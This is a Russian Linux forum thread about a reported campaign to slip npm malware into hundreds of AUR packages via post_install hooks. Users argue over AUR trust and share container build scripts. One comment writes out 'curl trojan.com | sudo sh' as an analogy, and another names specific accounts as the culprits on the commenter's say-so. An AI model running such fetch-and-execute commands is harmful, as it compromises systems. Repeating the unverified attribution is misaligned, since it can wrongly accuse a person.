LINUX.ORG.RU

Массовая атака на AUR

 , ,


0

2

Первоисточник

В несколько сотен пакетов AUR пытаются пропихнуть малварь из npm через добавление post_install хука в сборочные скрипты.

Всем, кто use Arch btw™ и не проверяет пакеты AUR перед сборкой настоятельно рекомендуется провериться)

★★
Ответ на: комментарий от anonymous

в АРЧе написать свой скрипт буилд намного проще

всё верно и собрание таких файликов есть AUR. зачем писать свой если за тебя его уже кто-то накалякал. просто не долбись в глаза и прояви хотя бы минимум внимания. вот и всё

anonymous
()
Ответ на: комментарий от hargard

Спс кэп. Не вариант.

Это единственный приемлемый вариант.

Официального источника может и не быть, когда есть только сырцы на github

Значит это и есть единственный доверенный источник.

В афицальном источнике может и не быть tar’а, appimage или проклятого fatpuck’а

Значит нужно самому собрать эту программу.

Обновлять придется вручную. Каждое установленное приложение таким образом. Как на Шындовс.

Да, и это правильно. В AUR, если что, всё равно так же - каждое обновление вручную. git pull, git diff, makepkg и тд. Только источник недоверенный. Примерно то же, что запускать curl trojan.com | sudo sh

vbr ★★★★★
()
Последнее исправление: vbr (всего исправлений: 4)
Ответ на: комментарий от vbr

Значит это и есть единственный доверенный источник.

Предлагаешь мне обложиться bash-портянками, дублирующими AUR-функционал пакетника? И запускать их по расписанию?

А секретарше/соседке/бабушке/хомячку на 10 ПК — что, надо эти портянки разослать и объяснить по телефону, как их запихнуть в cron?

Значит нужно самому собрать эту программу.

А собери-ка мне например telegram, discord, xnviewmp и 010 editor. Что, неужели снова придется обмазываться портянками чтобы их перепаковать и распихать по ФС?

hargard ★★★
()
Ответ на: комментарий от hargard

Ну зачем ты кипеш разводишь? Большинство пакетов можно поставить из официального двоичного репозитория, а недостающие, коих единицы, можно и вручную пересобрать с помощью makepkg, внимательно читая PKGBULD.

Grapow ★★★
()
Последнее исправление: Grapow (всего исправлений: 1)
Ответ на: комментарий от hargard

Предлагаешь мне обложиться bash-портянками, дублирующими AUR-функционал пакетника? И запускать их по расписанию?

Это уже тебе видней. Для большинства программ я просто иногда захожу на github и скачиваю экзешник, кладу его в папочку и всё. Но ты можешь и скриптами обложиться, если тебе по фану. Лишь бы своими скриптами.

А секретарше/соседке/бабушке/хомячку на 10 ПК — что, надо эти портянки разослать и объяснить по телефону, как их запихнуть в cron?

Арч не для хомячков.

А собери-ка мне например telegram, discord, xnviewmp и 010 editor.

А зачем. Дискорд и телеграм прекрасно работают в браузере. Там им и место. Про остальные программы я и не слышал. Но если вдруг решу собирать - напишу докерфайл. По-мне это топовый подход.

Вот пример докерфайла и скриптов, которые я использую для rkdeveloptool:

% cat Containerfile
from archlinux
run pacman --sync --noconfirm --sysupgrade --refresh base-devel git
run useradd --create-home build
user build
run git clone https://github.com/rockchip-linux/rkdeveloptool.git /home/build/rkdeveloptool
workdir /home/build/rkdeveloptool
run autoreconf -i
run ./configure
run make

% cat update.sh
#!/bin/sh
set -o errexit
set -o nounset

cd "$(dirname "$0")"

podman build --pull=always --tag=rkdeveloptool-build .
podman create --name=rkdeveloptool-build --replace rkdeveloptool-build
podman cp rkdeveloptool-build:rkdeveloptool .

Очень удобно. Всем рекомендую. И никакого помойного аура.

vbr ★★★★★
()
Последнее исправление: vbr (всего исправлений: 2)
Ответ на: комментарий от vbr

Я почти такие же юзаю для деба и рпм.

А зачем вам: user build?

И вообще мне тут многое не понятно. В начале одной командой собираешь буилд систему, второй буилдишь, а тут куча каких то не понятных команд … странно.

anonymous
()
Ответ на: комментарий от Grapow

Большинство пакетов можно поставить из официального двоичного репозитория

pacman -Sl | wc -l
15885
curl -sL https://aur.archlinux.org/packages.gz | gunzip | wc -l
114404

Двойка.

А будь это так, то нужды в AUR'е вообще никогда бы и не возникло.

hargard ★★★
()
Ответ на: комментарий от anonymous

А зачем вам: user build?

Привычка от рута не делать ничего, что можно делать не от рута. Можно и без него обойтись, конечно.

И вообще мне тут многое не понятно.

Что именно непонятно?

vbr ★★★★★
()
Ответ на: комментарий от firkax

Это просто пример. Правильный URL с рабочим трояном пользователю предлагается найти самому.

vbr ★★★★★
()
Ответ на: комментарий от hargard

curl -sL https://aur.archlinux.org/packages.gz | gunzip | wc -l

114404

Там много мусора. Он весь тебе нужен? Я говорю о нужных пакетах, почти все есть в репозитории.

Grapow ★★★
()
Последнее исправление: Grapow (всего исправлений: 2)
Ответ на: комментарий от Grapow

Так и я чем! Было бы все в репозиториях, был бы не нужен!

Установлено только сугубо нужное:

pacman -Qmeq
megit
joplin-appimage
vial-appimage
vscodium-bin
winbox
xnviewmp
zapret2
zenity-gtk3

hargard ★★★
()
Ответ на: комментарий от vbr

А зачем. Дискорд и телеграм прекрасно работают в браузере. Там им и место.

Но ведь если так подходить, то и Линукс ставить незачем — их вполне себе можно и в ChromeOS крутить!

И даже радикальней — зачем самому протирать штаны за монитором! А взять нанять за минималку «секретаря» красноглазика-кодомакакича, чтобы он сидел горбатился за клавиатурой, а вы будете ему раздавать поручения и подзатыльники!

Но если вдруг решу собирать - напишу докерфайл. По-мне это топовый подход.

Угу. В дополнение к баш-портянкам, подсунуть еще и докер-прослойку.

Свяжитесь с автором Chimbalix, ему для доведения до ума пакетного менеджера ваша компетенция придется кстати.

hargard ★★★
()
Ответ на: комментарий от Grapow

Неа, там есть далеко не всё.

Хоть AUR'ы и можно «подружить», но связываться с ним не хочется:

  • лишний «узел отказа» и возможный источник конфликтов и проблем с пакетами
  • собранные непойми кем с кто-знает-какими изменениями
  • с медленной (и нестабильной) скоростью скачивания в моем регионе, и
  • (по какой-то странной причине) без представленых зеркал в «дружественных» странах
  • тем более, что у меня по-факту, и не arch а 🏔️
hargard ★★★
()
Последнее исправление: hargard (всего исправлений: 3)
Ответ на: комментарий от hargard

собранные непойми кем с кто-знает-какими изменениями

Это ты о чём? В AUR лежат в основном рецепты для сборки с прямыми ссылками на исходники. Бинарники оттуда брать стоит только если они от разработчика. В Chaotic AUR собирают понятно кто.

Grapow ★★★
()
Последнее исправление: Grapow (всего исправлений: 1)
Ответ на: комментарий от vbr

Что именно непонятно?

Вот я недавно с deb экспементировал:

FROM docker.io/library/debian
USER root
RUN apt-get update && apt-get install -y devscripts
USER ${CONTAINER_DEFAULT_USER}
---
podman build -t home.int/debian-debuild .

и

#!/bin/sh

APP_NAME="3proxy-0.9.6"

podman run --rm \
    --volume ./app1:/app/:Z \
    --workdir /app/ home.int/debian-debuild \
    /bin/sh -c "cat /etc/debian_version; \
    tar -xzvf ${APP_NAME}.tar.gz; \
    cp control ${APP_NAME}/debian/control; \
    cd ${APP_NAME}; \
    echo yes | mk-build-deps --instal --remove; \
    debuild -us -uc -b"

По сути 2 команды, для rpm почти также. У вас какие то create и cp, хз зачем это.

И хз зачем юзер, так как рут в контейнере запускаемый от юзера.

anonymous
()
Ответ на: комментарий от hargard

А зачем. Дискорд и телеграм прекрасно работают в браузере. Там им и место.

Но ведь если так подходить, то и Линукс ставить незачем — их вполне себе можно и в ChromeOS крутить!

Может быть, не сталкивался с этой ОС.

И даже радикальней — зачем самому протирать штаны за монитором! А взять нанять за минималку «секретаря» красноглазика-кодомакакича, чтобы он сидел горбатился за клавиатурой, а вы будете ему раздавать поручения и подзатыльники!

У меня нет средств, чтобы платить кому-то минималку.

Угу. В дополнение к баш-портянкам, подсунуть еще и докер-прослойку.

Да, это ещё одна проблема арча. Там предлагают на хост ставить инструменты для сборки: компилятор, дополнительный инструментарий, а также dev-пакеты для всего остального. Это очень неправильный подход. Собирать нужно в отдельном окружении, а потом уже готовые файлы копировать на хост. Впрочем это всё несложно решается в несложных случаях, слава изобрателям докера.

Свяжитесь с автором Chimbalix, ему для доведения до ума пакетного менеджера ваша компетенция придется кстати.

Не думаю, что я обладаю какой-то особой компетенцией, да и зачем мне с кем-то связываться. Но если вдруг у кого-то есть вопросы, я готов попробовать помочь в меру сил и свободного времени.

vbr ★★★★★
()
Ответ на: комментарий от anonymous

Во-первых у меня вся логика сборки записана в докерфайле.

Во-вторых я предпочитаю без нужды не использовать host volume mounts (это про флаг --volume), а контролировать с максимальной гранулярностью всё, что из хоста копируется в контейнер и всё, что из контейнера копируется на хост.

В-третьих я ни в коей мере не стремлюсь минимизировать количество команд, порой напротив. Для меня важно, чтобы я через год сразу понял, что тут происходит.

какие то create и cp, хз зачем это

Это нужно, чтобы скопировать файл из образа на хост. Почему-то копировать из образа напрямую нельзя, копировать можно только из контейнера. Поэтому командой create я создаю из образа контейнер и следующей командой cp я копирую из контейнера собранный бинарник. В принципе можно после этого контейнер удалить командой rm, он уже не нужен. Я в данном случае спешил и не сделал финальные штрихи. Тут и лишние слои в докерфайле, например, остались, shell-команды стоило бы объединить в один слой. Но это всё мелочи.

По сути 2 команды

У вас по сути больше 10 команд, которые вы попытались засунуть в 2 команды. Дело ваше, я никого учить жить не собираюсь, но всё же команды считать надо тщательней. Если скрипт засунуть в аргумент sh -c, проще он от этого не станет.

vbr ★★★★★
()
Последнее исправление: vbr (всего исправлений: 2)
Ответ на: комментарий от vbr

Я вас понял более менее. И не пытаюсь вас упрекнуть в чем либо.

Просто мне интересно правильно ли я все делаю у себя и хочу научится полезному.

Мне нравится монтировпние каталога (шара) в контейнере с хоста.

После прибития контейнера я ничего не теряю. Я работаю с файлами их хоста своими любимым редактором а контейнер тупо для сборки.

Вот к примеру если я пишу какой нибудь веб-сервис, контейнер запущен и шару диру парсит и выдает в браузер хоста. Ты с хоста правишь файлы а в браузере сразу видно результат.

anonymous
()
Ответ на: комментарий от quantum-troll

Я все конечно понимаю, но так палится это нужно быть совсем деревянным.

anonymous
()
Ответ на: комментарий от anonymous

У меня задача была просто собрать программку и скопировать её к себе на хост.

Докерфайл работает по слоям, кешируя выполнения, если предыдущие слои не поменялись. Я этой фичей активно пользуюсь при написании новых докерфайлов. Пишу команду в отдельном run, пробую собрать. Если не получилось - меняю что-то. Если получилось - приступаю к следующей команде, а предыдущие уже закешированы, их ждать не надо.

Если хочется именно вести разработку в контейнере - тут, конечно, монтировать каталог с хоста может быть удобно. Хотя ещё удобней может быть использовать специализированные решения вроде devcontainers, но это так, к слову.

vbr ★★★★★
()
Ответ на: комментарий от quantum-troll

Похоже на выходки самого натурального арчешкольника, широко известного в очень узких кругах.

  • 1 (archlinux.org): Ветка в списке рассылки aur-general + permalink на сообщение
  • 2 (archlinux.org): Типовой коммит с посланиями
  • 3 (archlinux.org): Профиль автора коммита в AUR - pingwin840
  • 4 (github.com): Профиль автора коммита в GitHub - pingwin840 («проекты» и их исходники - просто мякотка)
  • 5 (github.com): Репозиторий pingwin840 «skufpkg» с единственным коммитом, у которого другое авторство
  • 6 (github.com): Собственно, автор коммита - BlackSystemCoder («проекты» тоже доставляют, особенно форк Linux и VCS с интересным названием) + ещё одна перекрёстная ссылка (через упоминание системы сборки feb) скорее всего на ещё одну связанную УЗ - predefine
  • 7 (github.com): Статья автора коммита про самого себя в одном из многих удивительно кривых репозиториев
  • 8 (saberpedia.no): Статья про автора коммита на, видимо, ещё одном нишевом ресурсе для edgy-школьников с выходом в Интернет - Saberpedia
mradermaxlol
()
Последнее исправление: mradermaxlol (всего исправлений: 1)
  • Markdown
Пустая строка (два раза Enter) начинает новый абзац. Знак '>' в начале абзаца выделяет абзац курсивом цитирования.
Внимание: прочитайте описание разметки Markdown.
Используйте Ctrl-Enter для размещения комментария